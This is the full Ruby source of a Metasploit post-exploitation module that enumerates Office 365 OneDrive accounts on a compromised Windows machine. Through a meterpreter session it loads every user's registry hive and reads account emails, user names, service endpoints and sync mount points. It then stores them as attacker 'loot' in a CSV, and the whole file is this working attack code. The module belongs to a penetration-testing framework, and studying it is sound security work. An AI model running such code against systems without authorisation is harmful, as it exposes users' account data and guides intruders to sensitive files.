## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Registry include Msf::Post::Windows::UserProfiles SYNC_ENGINES_KEYS = ['LibraryType', 'LastModifiedTime', 'MountPoint', 'UrlNamespace'].freeze ONEDRIVE_ACCOUNT_KEYS = ['Business', 'ServiceEndpointUri', 'SPOResourceId', 'UserEmail', 'UserFolder', 'UserName'].freeze PERSONAL_ONEDRIVE_KEYS = ['UserEmail', 'UserFolder'].freeze def initialize(info = {}) super( update_info( info, 'Name' => 'OneDrive Sync Provider Enumeration Module', 'Description' => %q{ This module will identify the Office 365 OneDrive endpoints for both business and personal accounts across all users (providing access is permitted). It is useful for identifying document libraries that may otherwise not be obvious which could contain sensitive or useful information. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => ['Stuart Morgan '], 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] } ) ) end def display_report(sid, info, sync_used, sync_all, results_table) info.each do |key, result| next if result['ScopeIdToMountPointPathCache'].nil? || result['ScopeIdToMountPointPathCache'].empty? row = [] print_line print_line " #{key}" print_line " #{'=' * key.length}" print_line row << sid row << key ONEDRIVE_ACCOUNT_KEYS.each do |col| row << result[col].to_s if result['Business'] == '1' || PERSONAL_ONEDRIVE_KEYS.include?(col) print_line " #{col}: #{result[col]}" end end result['ScopeIdToMountPointPathCache'].each do |scopes| subrow = row.clone print_line SYNC_ENGINES_KEYS.each do |sync| subrow << scopes[sync].to_s print_line " | #{sync}: #{scopes[sync]}" end results_table << subrow end end sync_all_list = [] sync_all.each do |key, _result| sync_all_list.push(key) end diff = sync_all_list - sync_used if !(diff.nil? || diff.empty?) print_line print_line ' ORPHANED' print_line ' ========' diff.each do |scopeid| csvrow = [] print_line # Augment the CSV csvrow << sid csvrow << '' ONEDRIVE_ACCOUNT_KEYS.each do |_od| csvrow << '' end SYNC_ENGINES_KEYS.each do |sync| csvrow << sync_all[scopeid][sync] print_line " #{sync}: #{sync_all[scopeid][sync]}" end results_table << csvrow end end end def get_syncengine_data(master, syncengines) all_syncengines = {} syncengines.each do |sync_provider| # Sync provider names are normally Personal for personal accounts # or a hash value that is unique to each business account. tmp_sync_provider_info = {} SYNC_ENGINES_KEYS.each do |key| tmp_sync_provider_info[key] = registry_getvaldata("#{master}\\#{sync_provider}", key).to_s end all_syncengines[sync_provider] = tmp_sync_provider_info end all_syncengines end def get_onedrive_accounts(reg, accounts, syncdata) all_oda = {} synctargets_used = [] ret = {} reg.each do |ses| newses = {} scopeids = registry_enumvals("#{accounts}\\#{ses}\\ScopeIdToMountPointPathCache") next if scopeids.nil? || scopeids.empty? ONEDRIVE_ACCOUNT_KEYS.each do |key| newses[key] = registry_getvaldata("#{accounts}\\#{ses}", key).to_s end newses['ScopeIdToMountPointPathCache'] = [] scopeids.each do |sid| target = syncdata[sid] if newses['Business'] != '1' target = syncdata['Personal'] synctargets_used.push('Personal') else synctargets_used.push(sid) end newses['ScopeIdToMountPointPathCache'].push(target) end all_oda[ses] = newses end ret['oda'] = all_oda ret['synctargets_used'] = synctargets_used ret end def run # Obtain all user hives userhives = load_missing_hives got_results = false # Prepare the results table results_table = Rex::Text::Table.new( 'Header' => 'OneDrive Sync Information', 'Indent' => 1, 'SortIndex' => -1, 'Columns' => ['SID', 'Name'] + ONEDRIVE_ACCOUNT_KEYS + SYNC_ENGINES_KEYS ) if userhives.nil? || userhives.empty? fail_with(Failure::UnexpectedReply, 'Unable to load the missing hives needed to enumerate the target!') end # Loop through each of the hives userhives.each do |hive| next if hive['HKU'].nil? print_status("Looking for OneDrive sync information for #{hive['SID']}") master_key = "#{hive['HKU']}\\Software\\SyncEngines\\Providers\\OneDrive" saved_syncengines = registry_enumkeys(master_key) if saved_syncengines.nil? || saved_syncengines.empty? print_error("(#{hive['HKU']}) No OneDrive accounts found.") next end # Obtain the sync endpoints from the above subkey all_syncengines = get_syncengine_data(master_key, saved_syncengines) str_onedrive_accounts = "#{hive['HKU']}\\Software\\Microsoft\\OneDrive\\Accounts" reg_onedrive_accounts = registry_enumkeys(str_onedrive_accounts) if reg_onedrive_accounts.nil? || reg_onedrive_accounts.empty? print_error("(#{hive['HKU']}) No OneDrive accounts found.") next end result = get_onedrive_accounts(reg_onedrive_accounts, str_onedrive_accounts, all_syncengines) if result['oda'].nil? || result['oda'].empty? print_error("(#{hive['HKU']}) No OneDrive accounts found.") next end got_results = true print_good("OneDrive sync information for #{hive['SID']}") display_report(hive['SID'], result['oda'], result['synctargets_used'], all_syncengines, results_table) end print_line if got_results stored_path = store_loot('onedrive.syncinformation', 'text/csv', session, results_table.to_csv, 'onedrive_syncinformation.csv', 'OneDrive sync endpoints') print_good("OneDrive sync information saved to #{stored_path} in CSV format.") end # Clean up unload_our_hives(userhives) end end